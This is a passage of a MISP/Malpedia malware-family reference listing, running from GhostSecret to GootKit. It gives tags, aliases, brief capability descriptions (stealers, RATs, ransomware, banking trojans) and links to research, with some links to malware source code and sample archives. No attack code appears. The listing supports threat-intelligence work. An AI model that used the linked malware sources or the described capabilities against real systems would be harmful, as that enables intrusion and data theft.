https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/

https://www.seqrite.com/blog/rat-used-by-chinese-cyberspies-infiltrating-indian-businesses/

https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html

http://www.malware-traffic-analysis.net/2018/01/04/index.html

https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/

https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/

https://www.cisecurity.org/insights/blog/top-10-malware-march-2022

https://asec.ahnlab.com/en/32572/

https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure

https://www.intezer.com/blog-chinaz-relations/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/

https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html

https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html

https://www.secureworks.com/research/threat-profiles/bronze-union

https://documents.trendmicro.com/assets/Appendix_Water-Pamola-Attacked-Online-Shops-Via-Malicious-Orders.pdf

https://s.tencent.com/research/report/836.html

https://www.secureworks.com/research/threat-profiles/bronze-edison

https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html

https://www.trendmicro.com/en_us/research/21/d/water-pamola-attacked-online-shops-via-malicious-orders.html

https://blog.talosintelligence.com/2019/09/panda-evolution.html

https://blog.defentive.com/blog/lost-in-translation-threat-actors-use-seo-poisoning-and-fake-deepl-sites-to-distribute-gh0st-rat

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats

https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new

https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox

https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41

https://www.secureworks.com/research/threat-profiles/bronze-fleetwood

https://attack.mitre.org/groups/G0096

https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf

https://www.prevailion.com/the-gh0st-remains-the-same-2/

https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf

https://unit42.paloaltonetworks.com/atoms/iron-taurus/

https://cofense.com/blog/open-source-gh0st-rat-still-haunting-inboxes-15-years-after-release/

https://web.archive.org/web/20140816135909/https://www.symantec.com/connect/blogs/inside-back-door-attack

https://blog.cylance.com/the-ghost-dragon

https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html

https://attack.mitre.org/groups/G0026

https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf

https://www.datanet.co.kr/news/articleView.html?idxno=133346

https://www.intezer.com/blog/malware-analysis/chinaz-relations/

https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html

https://web.archive.org/web/20170311192337/http://download01.norman.no:80/documents/ThemanyfacesofGh0stRat.pdf

https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/

https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

https://risky.biz/whatiswinnti/
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://tccontre.blogspot.com/2021/02/gh0strat-anti-debugging-nested-seh-try.html
http://www.nartv.org/mirror/ghostnet.pdf
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits
https://attack.mitre.org/groups/G0011
https://hackcon.org/uploads/327/05%20-%20Kwak.pdf
https://www.secureworks.com/research/threat-profiles/bronze-globe
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://unit42.paloaltonetworks.com/operation-diplomatic-specter/

GhostSecret

The tag is: *misp-galaxy:malpedia="GhostSecret"*

GhostSecret is also known as:

Table 3954. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_secret
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/

Gibberish

Ransomware.

The tag is: *misp-galaxy:malpedia="Gibberish"*

Gibberish is also known as:

Table 3955. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gibberish
https://id-ransomware.blogspot.com/2020/02/gibberish-ransomware.html

Giffy

The tag is: *misp-galaxy:malpedia="Giffy"*

Giffy is also known as:

Table 3956. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.giffy
https://vx-underground.org/archive/APTs/2016/2016.09.06/Buckeye.pdf

GIFTEDCROOK

According to CERT-UA, this stealer used by UAC-0226 is written in C/C++, targeting browser databases and using telegram for data exfiltration.

The tag is: *misp-galaxy:malpedia="GIFTEDCROOK"*

GIFTEDCROOK is also known as:

Table 3957. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.giftedcrook
https://arcticwolf.com/resources/blog/giftedcrook-strategic-pivot-from-browser-stealer-to-data-exfiltration-platform/
https://socprime.com/blog/detect-uac-0226-attacks-against-ukraine/
https://cert.gov.ua/article/6282946
https://cip.gov.ua/services/cm/api/attachment/download?id=71278

GIMMICK (Windows)

The tag is: *misp-galaxy:malpedia="GIMMICK (Windows)"*

GIMMICK (Windows) is also known as:

Table 3958. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gimmick
https://hitcon.org/2023/CMT/slide/Unmasking%20CamoFei_An%20In-depth%20Analysis%20of%20an%20Emerging%20APT%20Group%20Focused%20on%20Healthcare%20Sectors%20in%20East%20Asia.pdf
https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/

http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf

Ginwui

The tag is: *misp-galaxy:malpedia="Ginwui"*

Ginwui is also known as:

Table 3959. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ginwui
https://www.elastic.co/de/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Ginzo Stealer

An information stealer written in .NET.

The tag is: *misp-galaxy:malpedia="Ginzo Stealer"*

Ginzo Stealer is also known as:

Table 3960. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ginzo
https://blog.talosintelligence.com/haskers-gang-zingostealer/
https://ke-la.com/information-stealers-a-new-landscape/
https://twitter.com/struppigel/status/1506933328599044100
https://www.govcert.ch/downloads/whitepapers/Unflattening-ConfuserEx-Code-in-IDA.pdf
https://www.gdatasoftware.com/blog/2022/03/ginzo-free-malware

Glasses

The tag is: *misp-galaxy:malpedia="Glasses"*

Glasses is also known as:

- Wordpress Bruteforcer

Table 3961. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses

GlassRAT

The tag is: *misp-galaxy:malpedia="GlassRAT"*

GlassRAT is also known as:

Table 3962. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat
https://community.rsa.com/community/products/netwitness/blog/2015/11/25/detecting-glassrat-using-security-analytics-and-ecat

GlitchPOS

The tag is: *misp-galaxy:malpedia="GlitchPOS"*

GlitchPOS is also known as:

Table 3963. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos
https://blog.talosintelligence.com/2019/03/glitchpos-new-pos-malware-for-sale.html

Global

The GLOBAL GROUP is a Ransomware-as-a-Service program which emerged in June 2025. It is suspected to have ties to BlackLock and Mamona, due to code and infrastructure similarities. It's negotiation panel offers AI-driven negotiations to help the operators to engage with the victims.

The tag is: *misp-galaxy:malpedia="Global"*

Global is also known as:

- GLOBAL GROUP

Table 3964. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.global
https://t0asts.com/2025/07/12/global-ransomware.html
https://blog.eclecticiq.com/global-group-emerging-ransomware-as-a-service
https://www.morado.io/blog-posts/global-ransomware---new-tactics-revealed

GlobeImposter

GlobeImposter is a ransomware application which is mainly distributed via "blank slate" spam (the spam has no message content and an attached ZIP file), exploits, malicious advertising, fake updates, and repacked installers. GlobeImposter mimics the Globe ransomware family. This malware may prevent execution of Anti-Virus solutions and other OS related security features and may prevent system restoration.

The tag is: *misp-galaxy:malpedia="GlobeImposter"*

GlobeImposter is also known as:

- Fake Globe

Table 3965. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter
https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Ransomware_whitepaper_eng.pdf
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://asec.ahnlab.com/en/48940/
https://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.sentinelone.com/blog/recent-tzw-campaigns-revealed-as-part-of-globeimposter-malware-family/
https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://blog.ensilo.com/globeimposter-ransomware-technical
https://intel471.com/blog/a-brief-history-of-ta505
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run
https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://asec.ahnlab.com/ko/30284/
https://www.secureworks.com/research/threat-profiles/gold-swathmore
https://www.emsisoft.com/ransomware-decryption-tools/globeimposter

https://isc.sans.edu/diary/23417

Globe

The tag is: *misp-galaxy:malpedia="Globe"*

Globe is also known as:

Table 3966. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.globe_ransom

GlooxMail

The tag is: *misp-galaxy:malpedia="GlooxMail"*

GlooxMail is also known as:

Table 3967. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Glupteba

Glupteba is a trojan horse malware that is one of the top ten malware variants of 2021. After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.

The tag is: *misp-galaxy:malpedia="Glupteba"*

Glupteba is also known as:

Table 3968. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba
https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2022/slides/VB2022-Uncovering-a-broad-criminal-ecosystem-Glupteba.pdf
https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451

https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/

https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728

https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign

https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/

https://habr.com/ru/company/solarsecurity/blog/578900/

https://krebsonsecurity.com/2022/06/the-link-between-awm-proxy-the-glupteba-botnet/?utm_source=dlvr.it&utm_medium=twitter

https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html

https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf

https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html

https://unit42.paloaltonetworks.com/glupteba-malware-uefi-bootkit/

https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/

https://blog.trendmicro.com/trendlabs-security-intelligence/glupteba-campaign-hits-network-routers-and-updates-cc-servers-with-data-from-bitcoin-transactions/

https://estr3llas.github.io/gluptebas-dotnet-dropper-deep-dive/

https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/

https://blog.google/technology/safety-security/new-action-combat-cyber-crime/

https://www.nozominetworks.com/blog/tracking-malicious-glupteba-activity-through-the-blockchain/

https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/

https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html

https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Uncovering-a-broad-criminal-ecosystem-powered-by-one-of-the-largest-botnets-Glupteba.pdf

https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/

https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/1_Complaint.pdf

https://www.youtube.com/watch?v=5Gz6_I-wl0E

https://labs.k7computing.com/?p=22319

https://community.riskiq.com/article/2a36a7d2/description

https://cocomelonc.github.io/malware/2023/06/19/malware-av-evasion-17.html

https://blog.google/threat-analysis-group/disrupting-glupteba-operation/

http://resources.infosecinstitute.com/tdss4-part-1/

https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/

GoBotKR

The tag is: *misp-galaxy:malpedia="GoBotKR"*

GoBotKR is also known as:

Table 3969. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gobotkr
https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/

goCryptoLocker

The tag is: *misp-galaxy:malpedia="goCryptoLocker"*

goCryptoLocker is also known as:

Table 3970. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gocryptolocker
https://twitter.com/GrujaRS/status/1254657823478353920
https://id-ransomware.blogspot.com/2020/04/gocryptolocker-ransomware.html
https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go

Godlike12

The tag is: *misp-galaxy:malpedia="Godlike12"*

Godlike12 is also known as:

- GOSLU

Table 3971. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.godlike12
https://securelist.com/apt-trends-report-q2-2020/97937/
https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/
https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/

goDoH

Proof of concept for data exfiltration via DoH, written in Go.

The tag is: *misp-galaxy:malpedia="goDoH"*

goDoH is also known as:

Table 3972. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.godoh
https://github.com/sensepost/goDoH
https://sensepost.com/blog/2018/waiting-for-godoh/

GodRAT

GodRAT shares a common origin with AwesomePuppet RAT, alongside Gh0st RAT code similarities. GodRAT is likely connected with Winnty APT activities.

Old implant codebases, such as Gh0st RAT, which are nearly two decades old, continue to be used today. These are often customized and rebuilt to target a wide range of victims. These old implants are known to have been used by various threat actors for a long time, and the GodRAT discovery demonstrates that legacy codebases like Gh0st RAT can still maintain a long lifespan in the cybersecurity landscape.

The tag is: *misp-galaxy:malpedia="GodRAT"*

GodRAT is also known as:

Table 3973. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.godrat
https://securelist.com/godrat/117119/

Godzilla Loader

The tag is: *misp-galaxy:malpedia="Godzilla Loader"*

Godzilla Loader is also known as:

Table 3974. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader
https://www.arbornetworks.com/blog/asert/trickbot-banker-insights/

https://research.checkpoint.com/godzilla-loader-and-the-long-tail-of-malware/
https://www.kernelmode.info/forum/viewtopic0692.html?f=16&t=4349

Gofing

A file infector written in Go, discovered by Karsten Hahn in February 2022. According to Karsten, despite its internal naming, it is not polymorphic and the virus body is not encrypted. Gofing uses the Coldfire Golang malware development library.

The tag is: *misp-galaxy:malpedia="Gofing"*

Gofing is also known as:

- Velocity Polymorphic Compression Malware

Table 3975. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gofing
https://twitter.com/struppigel/status/1498229809675214849

Goggles

The tag is: *misp-galaxy:malpedia="Goggles"*

Goggles is also known as:

Table 3976. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

GoGoogle

The tag is: *misp-galaxy:malpedia="GoGoogle"*

GoGoogle is also known as:

- BossiTossi

Table 3977. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gogoogle
https://labs.bitdefender.com/2020/05/gogoogle-decryption-tool/

GoGra

According to Symantec, a previously unseen backdoor that was deployed against a media organization in South Asia in November, 2023. GoGra is written in Go and uses the Microsoft Graph API to interact with a command-and-control (C&C) server hosted on Microsoft mail services.

The tag is: *misp-galaxy:malpedia="GoGra"*

GoGra is also known as:

- Onedrivetools

Table 3978. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gogra
https://www.security.com/threat-intelligence/cloud-espionage-attacks

GolangGhost (Windows)

GolanGhost is a RAT written in Go. It uses C2 to receive commands and exfiltrate data such as browser information targeting especially installed cryptocurrency wallets.

It is often used in ClickFix campaigns by North-Korean threat actors.

The tag is: *misp-galaxy:malpedia="GolangGhost (Windows)"*

GolangGhost (Windows) is also known as:

- BitStep RAT
- WeaselStore

Table 3979. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.golangghost
https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-apt-activity-report-q4-2024-q1-2025.pdf
https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/
https://blog.talosintelligence.com/python-version-of-golangghost-rat/
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
https://blog.sekoia.io/clickfake-interview-campaign-by-lazarus/
https://blog.polyswarm.io/famous-chollimas-pylangghost

https://www.virusbulletin.com/uploads/pdf/conference/vb2025/papers/DeceptiveDevelopment-and-North-Korean-IT-workers-from-primitive-crypto-theft-to-sophisticated-AI-based-deception.pdf
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-from-primitive-crypto-theft-to-sophisticated-ai-based-deception/
https://www.silentpush.com/blog/contagious-interview-front-companies/
https://www-cdn.anthropic.com/b2a76c6f6992465c09a6f2fce282f6c0cea8c200.pdf
https://www.wiz.io/blog/north-korean-tradertraitor-crypto-heist
https://any.run/cybersecurity-blog/pylangghost-malware-analysis/

GOLDBACKDOOR

The tag is: *misp-galaxy:malpedia="GOLDBACKDOOR"*

GOLDBACKDOOR is also known as:

Table 3980. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldbackdoor
https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf
https://www.0x0v1.com/rearchive-goldbackdoor/
https://github.com/blackorbird/APT_REPORT/blob/master/group123/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf

GoldenEye

The tag is: *misp-galaxy:malpedia="GoldenEye"*

GoldenEye is also known as:

- Petya/Mischa

Table 3981. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye
https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/

GoldenHelper

The tag is: *misp-galaxy:malpedia="GoldenHelper"*

GoldenHelper is also known as:

Table 3982. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenhelper
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/
https://tomiwa-xy.medium.com/static-analysis-of-goldenhelper-malware-golden-tax-malware-d9f85a88e74d

GoldenSpy

According securityweek, GoldenSpy, the malware was observed as part of a campaign that supposedly started in April 2020, but some of the identified samples suggest the threat has been around since at least December 2016.

One of the compromised organizations, a global technology vendor that conducts government business in the US, Australia and UK, and which recently opened offices in China, became infected after installing “Intelligent Tax,” a piece of software from the Golden Tax Department of Aisino Corporation, which a local bank required for paying local taxes.

Although it worked as advertised, the software was found to install a hidden backdoor to provide remote operators with the possibility to execute Windows commands or upload and run files.

The tag is: *misp-galaxy:malpedia="GoldenSpy"*

GoldenSpy is also known as:

Table 3983. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy
https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf
https://www.ic3.gov/media/news/2020/200728.pdf
https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf
https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf
https://www.ic3.gov/Media/News/2020/201103-1.pdf

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-3-new-and-improved-uninstaller/

GoldMax

Gold Max is a Golang written command and control backdoor used by the NOBELIUM threat actor group. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running.

The tag is: *misp-galaxy:malpedia="GoldMax"*

GoldMax is also known as:

- SUNSHUTTLE

Table 3984. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldmax
https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-105a
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/
https://securelist.com/it-threat-evolution-q2-2023/110355/
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
https://www.youtube.com/watch?v=koZkHEJqPrU
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
https://securelist.com/extracting-type-information-from-go-binaries/104715/
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf

https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf

GoldDragon

GoldDragon was a second-stage backdoor which established a permanent presence on the victim's system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaing targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.

The malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server.

The tag is: *misp-galaxy:malpedia="GoldDragon"*

GoldDragon is also known as:

- Lovexxx

Table 3985. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon
https://asec.ahnlab.com/en/31089/
https://www.youtube.com/watch?v=rfzmHjZX70s
https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf

Golroted

The tag is: *misp-galaxy:malpedia="Golroted"*

Golroted is also known as:

Table 3986. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted
http://www.vkremez.com/2017/11/lets-learn-dissecting-golroted-trojans.html
https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign

GoMet

The tag is: *misp-galaxy:malpedia="GoMet"*

GoMet is also known as:

Table 3987. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gomet
https://blog.talosintelligence.com/2022/07/attackers-target-ukraine-using-gomet.html

Gomorrah stealer

Gomorrah is a stealer with no or little obfuscation that appeared around March 2020. It is sold for about 150$ lifetime for v4 (originally 400$ for v3) or 100$ per month by its developer called "th3darkly / lucifer" (which is also the developer of CosaNostra botnet). The malware's main functionalities are stealing (passwords, cryptocurrency wallets) and loading of tasks and other payloads.

The tag is: *misp-galaxy:malpedia="Gomorrah stealer"*

Gomorrah stealer is also known as:

Table 3988. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gomorrah_stealer
https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April
https://twitter.com/vxunderground/status/1469713783308357633

GONEPOSTAL

The malware consists of a dropper DLL and an obfuscated, password protected VbaProject.OTM file, which houses macros written for Microsoft Outlook. The malware was originally written by Greg Linares as a backdoor POC called Cordyceps, and presented at Hushcon in 2017.

The tag is: *misp-galaxy:malpedia="GONEPOSTAL"*

GONEPOSTAL is also known as:

- Cordyceps
- NOTDOOR

Table 3989. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.gonepostal
https://prezi.com/view/eZ3CSNMxPMOfIWEHwTje/
https://x.com/Laughing_Mantis/status/1963608292468346968
https://lab52.io/blog/analyzing-notdoor-inside-apt28s-expanding-arsenal/
https://www.kroll.com/en/publications/cyber/fancy-bear-gonepostal-espionage-tool-backdoor-access-microsoft-outlook

Goodor

The tag is: *misp-galaxy:malpedia="Goodor"*

Goodor is also known as:

- Fuerboos

Table 3990. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor
https://norfolkinfosec.com/a-new-look-at-old-dragonfly-malware-goodor/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control

GoogleDrive RAT

The tag is: *misp-galaxy:malpedia="GoogleDrive RAT"*

GoogleDrive RAT is also known as:

Table 3991. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.google_drive_rat
https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf

GooPic Drooper

The tag is: *misp-galaxy:malpedia="GooPic Drooper"*

GooPic Drooper is also known as:

Table 3992. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic
https://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/

GooseEgg

The tag is: *misp-galaxy:malpedia="GooseEgg"*

GooseEgg is also known as:

Table 3993. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gooseegg
https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/

GootKit

Gootkit is a banking trojan consisting of an x86 loader and a payload embedding nodejs as well as a set of js scripts. The loader downloads the payload, stores it in registry and injects it in a copy of the loader process. The loader also contains two encrypted DLLs intended to be injected into each browser process launched in order to place the payload in man in the browser and allow it to apply the webinjects received from the command and control server on HTTPx exchanges. This allows Gootkit to intercept HTTPx requests and responses, steal their content or modify it according to the webinjects.

The tag is: *misp-galaxy:malpedia="GootKit"*

GootKit is also known as:

- Waldek
- Xswkit
- talalpek

Table 3994. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit
https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/

https://5556002.fs1.hubspotusercontent-na1.net/hubfs/5556002/2022%20PDF%20Download%20Assets/ADA%20Compliant%20pdfs/Reports/PUBLIC_Gootloader%20-%20Foreign%20Intelligence%20Service.pdf

http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html

https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/

https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Delivery/Gootkit-malware.md

https://securelist.com/runforestrun-gootkit-and-random-domain-name-generation/57865/

https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/

https://www.youtube.com/watch?v=242Tn0IL2jE

https://news.drweb.com/show/?i=4338&lng=en

https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps

https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/

https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html

https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan

https://dannyquist.github.io/gootkit-reversing-ghidra/

